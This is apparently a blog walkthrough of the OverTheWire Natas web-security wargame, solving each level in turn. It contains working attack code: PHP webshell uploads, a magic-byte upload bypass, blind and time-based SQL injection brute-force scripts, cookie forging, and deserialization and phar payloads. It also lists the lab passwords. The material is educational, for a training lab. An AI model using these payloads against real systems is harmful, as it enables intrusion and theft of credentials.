Overthewire Natas Walkthrough for Beginners

Search for a command to run...

No comments yet. Be the first to comment.
I had the privilege to contribute challenges for the latest edition of Baby PWN, organized as part of Tech Parva 2026. I had a lot of fun building these challenges, and I hope working through them helps you pick up something useful along the way. Let...

As part of Techparva 3.0, the Innovative Computer Engineering Studentsβ Society (i-CES) of WRC, Pokhara, hosted an exciting BabyPWN Capture The Flag (CTF) competition. I had the incredible opportunity to design a few challenges for this event. In thi...

Easy-to-follow explanations for every Overthewire Bandit wargame level

In a world where our online conversations are an integral part of our lives, the need for privacy and security in messaging apps has become more critical than ever. End-to-end encryption is a fundamental technology that ensures our messages remain pr...

Looking at the source of the page, it has the password for the next level.

π g9D9cREhslqBKtcA2uocGHPfMZVzeFK6
The level was blocking right click but not the keyboard shortcut.
Viewing the html gives the password for the next level.

π h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
Web page shows nothing on the page.
Upon inspecting the element, an image was fetched into the website.

going into the /files endpoint shows directory listing.

The users.txt has the password for the next level.

π G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q

This hints towards the robots.txt

π tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

Referer header.

π Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
The application says not logged in.

This message hints towards the cookie and looking into it shows a boolean value for loggedin key.

Changing the value to 1 solves the level.

π fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
The application was asking for a secret and returning the password if the provided secret was correct.

includes/secret.inc was included, so I tried to get the file directly.

This reveals the secret FOEIUWGHFEEUHOFUOIU which gives the password for the next level.
π jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
The application was fetching the pages from query parameter page .

Querying the /etc/natas_webpass/natas8 in the page parameter fetches the contents of the file revealing the password for the next level.

π a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

The input is first passed to the encodeSecret function and then compared with encodedSecret.
So reversing the encodedSecret hex2textβString reverse β base64 decode.

Passing the decoded string as secret reveals the password for the next level.
π Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

The application is inserting the input key directly into the command, so command injection is possible.
Since the password is stored in /etc/natas_webpass/natas10, the password can be read.

π D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

Here some characters is being filtered before passing it through the grep command.
As I can control the file to read before the dictionary.txt.

π 1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
The application has cookie protected with XOR.

The application sets the cookie with saveData function which json-encode β xor-encrypt β base64 encode the $defaultdata.
When a request is submitted, it decodes the cookie value by reversing the process and shows password if showpassword is set to yes.
The xor_encrypt function is responsible for encrypting the cookie where key is hidden.
The key property of XOR operation is that, the XOR of same thing is 0. Using this:
defaultdata XOR key β cookie
cookie XOR defaultdata β defaultdata XOR key XOR defaultdata β key
<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt_rev($data) {
$key = base64_decode("MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qeX18bjY=");
$text = json_encode($data);
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText.PHP_EOL;
}
echo xor_encrypt_rev($defaultdata);
?>

The key is KNHL.
Using this key to create new cookie value with showpassword set to yes.
$required = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'KNHL';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt(json_encode($required))).PHP_EOL;


π YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
The application has a image upload feature which uploads file with a random generated string as filename.

Upon close inspection of the code, there exist two parameters in the request filename and uploadedfile.

The extension for the uploadedfile is set from the extension of filename parameter.
The general workflow of the application is:
It validates if filename exist in request.
The filename is passed to makeRandomPathFromFilename($dir, $fn) with dir set to uploads.
The function extracts extension from the filename and send it to getRandomPath function which returns a random filename for the uploadedfile with the same extension as filename.
If a PHP file is uploaded with code to read the password from /etc/natas_webpass/natas13 and filename extension changed to .php , the file is executed when getting the file.
<?php
$myfile = fopen("/etc/natas_webpass/natas13", "r") or die("Unable to open file!");
echo fread($myfile,filesize("/etc/natas_webpass/natas13"));
fclose($myfile);
?>



π lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
The application restricts the file type of the uploaded image.

The exif_image type checks for initial bytes to determine if the file is an image.
Some magic bytes of JPG can be added to a PHP file to bypass the restriction.
fh = open('natas13.php', 'wb')
fh.write(b'\xFF\xD8\xFF\xE0' + b'<?php system("cat /etc/natas_webpass/natas14"); ?>')
fh.close()
This results in a file natas13.php with following content.
ΓΏΓΓΏΓ <?php system("cat /etc/natas_webpass/natas14"); ?>
Now uploading the file in the application it passes the file-type check and when visited the link shows the password for the next level.

π qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
The application has a login form asking for username and password.
Also the value of username and password is directly embedded into the SQL query without sanitation.

When tried the ' or '1'='1 as payload, it says Access Denied.
The application was checking for debug parameter and echoing the query that is executed.

The query had double quotes instead of single, so changing the payload to " or "1"="1 executed successfully and gives the password for the next level.

π TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
The application checks if a user exist in the database

Since the username is directly embedded into the SQL query, password can be queried and brute-forced.
Writing a python script to brute-force the password.
import requests
url = "http://natas15.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxNTpUVGthSTdBV0c0aURFUnp0QmNFeUtWN2tSWEgxRVpSQg=="}
known_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
password = ""
while True:
found = False
for char in known_characters:
print("Checking",char) #like binary compares the password in case sensitive form.
payload = 'natas16" and password like binary"' + password + char + '%"-- -"'
data = {"username": payload}
res = requests.post(url=url, headers=headers, data=data)
if "This user exists" in res.text:
password += char
found = True
print("Current cracked:",password)
break
if not found:
break
print("Cracked password:", password)

π TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
The application filters special characters which prevents general command injection vulnerability.

However, it is not filtering the $() which can be used to inject some command.
The password can be brute-forced character by character using grep command inside $() operator.
import requests
base_url = "http://natas16.natas.labs.overthewire.org/"
headers = {"Authorization": "Basic bmF0YXMxNjpUUkQ3aVpyZDVnQVRqajlQa1BFdWFPbGZFakhxajMyVg=="}
known_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
password = 'XkE'
while True:
found = False
for char in known_characters:
print("Checking: "+char)
payload = '$(grep ^'+password+char+' /etc/natas_webpass/natas17)hellos'
res = requests.get(url=base_url+"?needle="+payload, headers=headers)
if "hellos" not in res.text:
password += char
found = True
print("Current cracked:",password)
break
if not found:
break
print("Cracked password:", password)
The main idea is to grep for initial sequence of password from /etc/natas_webpass/natas17 one by one and checking the response for validating the password.
If the grep inside $() returns, it appends the password with the word hellos and then search for the combined word in dictionary.txt file.This returns empty result.
If the initial do not match in the natas17 password file the output is empty which is concatenated with hellos which returns non empty result when searched in dictionary.txt

π XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
The application do not show any response for existing and non existing user.

This means normal password brute-force with SQL injection is not possible.
However, Time based Blind SQL injection is possible.
import requests
base_url = "http://natas17.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxNzpYa0V1Q2hFMFNibktCdkgxUlU3a3NJYjl1dUxtSTdzZA=="}
known_characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ''
while True:
found = False
for char in known_characters:
print("Checking: " + char)
payload = 'natas18" && (Select case when password like binary "'+password+char+'%" then sleep(5) end from users where username = "natas18") -- -"'
data = {"username": payload}
res = requests.post(url=base_url, headers=headers, data=data)
if res.elapsed.total_seconds() > 4:
password += char
found = True
print("Current cracked:", password)
break
if not found:
break
print("Cracked password:", password)

π 8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
The application is checking if the user is admin and then echoing the password for the next level.

When logged in with any random user, the application creates a cookie PHPSESSID with a integer value.
The application is setting a random value from 1 - 640.

The cookie value can be brute-forced as it is sequential.
PHPSESSID 119 showed the password for the next level.

π 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s
The application has same logic as the previous level, the only difference is the PHPSESSID is not sequential.
When I see the cookie it seems like HEX value.

The application might be using the same number range from 1 - 640 but is hex encoding it appending -admin in the sequence.
import requests
import binascii
base_url = "http://natas19.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxOTo4TE1KRWhLRmJNS0lMMm14UUtqdjBhRURkazd6cFQwcw=="}
for i in range(1, 641):
cookie = {"PHPSESSID": binascii.hexlify(bytes(f'{i}-admin', 'utf-8')).decode()}
res = requests.get(url=base_url, headers=headers, cookies=cookie)
if "Login as an admin" not in res.text:
print(res.text)
break

π guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH
The application is maintaining sessions on their own storing the variables in a file.

mywrite function is writing the name input into the session variable name without sanitation.
myread function reads the session file, reads it line by line and create session variables based on it.

If an additional variable is sent with newline character it gets add into the file. When reading the file the characters after \n is treated as new variable and saved to _SESSION.


π 89OWrTkGmiLZLv12JY4tLj2c4FW0xn56

http://natas21.natas.labs.overthewire.org/

http://natas21-experimenter.natas.labs.overthewire.org/index.php
The 2nd application has a form to style the text. And the changes persists on reload. So, the variables are stored in the session.
Upon inspecting the PHP code, it is saving every form value in the current session.

It will store any key value pair in the session, So injecting the admin value when submitting the form.

Now use the same cookie in 1st Application and reload the page. This will give the password for the next level.

π 91awVM9oDiUGm33JdzM7RVLBS8bz9n0s

The application is checking for revelio parameter and showing the password if exist.
But the application is checking for admin access and redirecting to / if the user is not admin.
However the password for next level is also returned but the browser redirects the user to / without showing the response.
This can be bypassed with Burpsuite.

π qjA8cOoKFTzJhtV0Fzvt92fgvxVnVRBj
The application asks for a password and gives the password for next level if it meets the requirements.

It checks if iloveyou exists in password and if the password value is greater than 10 .
This can be exploited due to PHP type juggling when 5000iloveyou is given as input as it passes both the conditions.
The password contains the text iloveyou in it.
Due to PHP type juggling, it converts the input to integer value i.e. 5000 and compares it with 10.
This solves the problem and shows the password for the next level.

π 0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r
This level also asks for password and compares with the secret to show the password for next level.

The strcmp function is vulnerable to type-juggling.
Instead of string if we provide an array, the if condition ends up as true and show the password for the next level.


π O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx
The application has a simple quote paragraph and an option to choose the language which is sent as parameter lang .
The language is being included as file, so File Inclusion might be possible.

Looking at the logRequest function, it includes User-Agent into the log which is controlled by us. Also shows the location of the log file with its name.

If we can insert PHP in the log file and include the log file exploiting the replace() function, we can get the password for the next level.
Since log is created when it do not pass the test, Sending PHP code with lang=natas_webpass and User-Agent with valid PHP code.


replace() function replaces the ../ character once and not recursively.π 8A506rfIAXbKKk68yJeuTuRq4UfcK70k
The application asks for coordinates and plots them in a image.
Every input is stored in drawing cookie and is plotted along with the past inputs.

Looking at the source code, it is deserializing the drawing cookie value.

The application also has a Logger class which is responsible for logging.

The interesting function is the __destruct() and the class attribute exitMsg and logFile.
For the exploitation I created a malicious serialized object as:
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="<?php system('cat /etc/natas_webpass/natas27'); ?>";
$this->logFile = "img/natas26_exploit.php";
}
}
$logger = new Logger("temp");
echo base64_encode(serialize($logger)).PHP_EOL;
?>

When the output of the code is set as drawing cookie, it is passed to the application when the page is reloaded.
When the cookie is deserialized, instance of the malicious object is created with:
logFile β img/natas26_exploit.php
exitMsg β <?php system('cat /etc/natas_webpass/natas27'); ?>
When the object is destroyed the __destruct function is invoked which creates the logFile and inserts exitMsg into it.
This means natas26_exploit.php file is created with the PHP code to read the contents of /etc/natas_webpass/natas27 .
Visiting the exploit page, gives the password for the next level.

π PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3
The application shows a login form, it the user exist it checks for credentials and display them back. If the user does not exist it creates a new one.
It is preventing SQL injection.
The interesting part is the database schema where the length of username and password is 64.

However, the limit is not verified when creating a new user.The function is preventing username with additional spaces.
Source code with the main flow:



The main idea for the exploit is the SQL Truncation Exploit. This means the inputs longer than 64 characters will be truncated or deleted.
Using this along with createUser function trim function.
Creating a new user with username natas28 (7 characters ) + 57 space + any character. = 65 character.
This will prevent the trim() function to shorten the username.
As the database can only store 64 characters, new user will be created with the username natas28 + 57 space = 64
In My_SQL database both natas28 and natas28+ 57 space is treated as same when queried by the username.
However the password is different for the two entries.

Create a user with 65 character payload and login with 64 character user will reveal the password for the other natas28 user.
This is because of the dumpData function which iterated over the user and prints their data.


π skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4
The application is searching for jokes in database containing the word we search for.
It is sending request to search.php with an encrypted query
It seems like base64 encoded, but is encrypted.

When normal text is sent as query parameter, it shows error related to padding, which hints towards the Block cipher.

When valid search query are sent, there are some similar blocks for each search.

This hints toward the ECB encryption. The initial encrypted block are some text that are pre-pended to our search input. The encrypted query might be formed by this:
Default Prepended Text + Our Input + Padding to match the predefined block sizeNow checking for block size by increasing the input size.

Here the Encrypted query length is increased by 32 bytes. The length remain same for 16 characters in input length .
The jump from 160 to 192 at input length 13 is due to the pre-pended characters to our input.
Input Block size = 16 characters
Encrypted Block size = 32 bytes.
Now lets see if we can get encrypted block to same sequence of 32 bytes for consecutive block.
The first two blocks are same for all request. After the input of 10 a , the 3rd block also starts to repeat. So it contains the prepended 6 characters + 10 'a's .
At input length 9 there is 1 character padding at the end
After 10 character input a new block is added with one a and 15 padding character.

If we can fill the remaining blocks with with our input, then next block of bytes will also start to repeat.
3rd block starts to repeat which is filled with a:

Now the repeating block b39038c28df79b65d26151df58f7eaa3 represents 16 a characters.
After next 16 character, next block also start to repeat.
2 blocks with a s.

If we try to inject SQL query in the application it is escaped and is searched as normal text.
Response for searching ' :

To verify it we can send crafted input so that the escaping increases the blocks of bytes in the encrypted query.
Verifying escaping of ' :

a are sent the size is 160. But when 11 a and 1 ' is sent the size is 192. So this is adding \ character before the ' character.Our input is divided into blocks and then individual block is encrypted separately due to use of ECB encryption. The escaping is done when input is supplied. The application work flow is like.
input β escaping SQL-i characters β encrypt individual block β combine encrypted blocks β encrypted query
encrypted query β decryption block by block β combine the decrypted string β run the SQL query to fetch the joke.
We assume ' is converted to \' and then encrypted.
If we can insert the ' character at the end of the block \ is inserted at the end of the block and the ' character is pushed to the next block.
Since individual blocks are decrypted individually and then the resulting text is combined, we replace the encrypted byte block with \ at the end with encrypted byte block with normal character at the end.
This will result in text with no escaping of the ' character and can execute the arbitrary SQL injection code which can be used to obtain the password for the next level.
We know in the third block there is space for 10 characters, So putting 9 a and ' will replace ' with \ and push ' to the next block.

If we replace the 3rd block with encrypted byte block with xxxxxxaaaaaaaaaa (10 a ), the encrypted query is a valid one but without a escaping \ .
crafted malicious encrypted query with SQLi:

URL encode the payload then provide to the search query to get the password for the next level.

π pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno
The application this time is not built with PHP but with Perl.
It has a drop down which includes some files with a query parameter file

Tried some path traversal payloads but did not work.
When tried to brute-force some characters and numbers 0 seems to send some less bytes.
When tried to do some command injection | character work but with a null byte %00 at the end.
So I tried to read the /etc/natas_webpass/natas30 but failed.
Tried to read the index.pl file which contains the main logic and it succeed. So, some thing must be filtered when reading the password file.
Command injection to read the source code:

For this we can use the * feature of linux.

Using /etc/*_webpass/*30 reveals the password for the next level.

π Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X
This level has a login form with username and password written in PERL.
Looking at the source code, it was using quote function to restrict the SQL injection payload.

Searching in google about the SQL injection in Perl, came across a feature about param and quote function.


π AMZF14yknOn9Uc57uKB02jnYuhplYka3
The application has a file upload feature which accepts a .csv file and show it in a table.

Going through this video β Link , shows a way to exploit the Perl code and execute the command.

The ARGV will enable the application to run the command specified at the URI.
π Yp5ffyfmEdjvTOwpN5HCvh7Ctgf9em3G
The application is same as the previous one but for getting the password we have to execute a binary present in the web root.
For this the contents of the web root is listed first.

It contains a file called getpassword so executing the file to get the password.

π APwWDD3fRAf6226sgBOBaSptGwvXwQhG
The application has a file upload feature to update firmware, which allows PHP file.
When tried to upload a php file, it is saved as PHPSESSID as file name. But going to the endpoint says 404 not found .

Tried changing the filename to .php , but did not work.
Looking at the source code, it has a Executor class which is responsible for handling the request.

It is validating the MD5 sum in the __destruct() function and executing the passthru() function which is similar to exec().
The MD5 with loose comparison hints towards the MD5-Hash Collision, but is difficult because of the size limitations of the file.
Another hint is towards the Deserialization due the passthru function present in the __destruct() function. However, the application do not have any unserialize() function.
Came across Phar Deserialization which can be used to solve this level.

For exploitation we create a malicious PHP file with code to read the password for the next level.
<?php system('cat /etc/natas_webpass/natas34'); ?>
Then create a phar file with modified object of the Executor class.
<?php
class Executor{
private $filename = "shell.php";
private $signature = True;
private $init = false;
}
$phar = new Phar('natas.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$object = new Executor();
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
Executing the PHP script will create a .phar file which will be uploaded and referenced using the Stream Wrappers .
php -d phar.readonly=false natas33.php
Now upload the files in the server changing the name of the files from session id to the respective name.
Then use the Stream Wrapper phar:// to reference the currently uploaded .phar file which contains the serialized object of the modified Executor class.
This will trigger in the deserialization of the object and trigger of the __destruct() function.
Due to loose comparison of the MD5 hash, the $signature in the modified object results the condition to be true and give the password for the next level


π F6Fcmavn8FgZgrAPOvoLudNr1GwQTaNG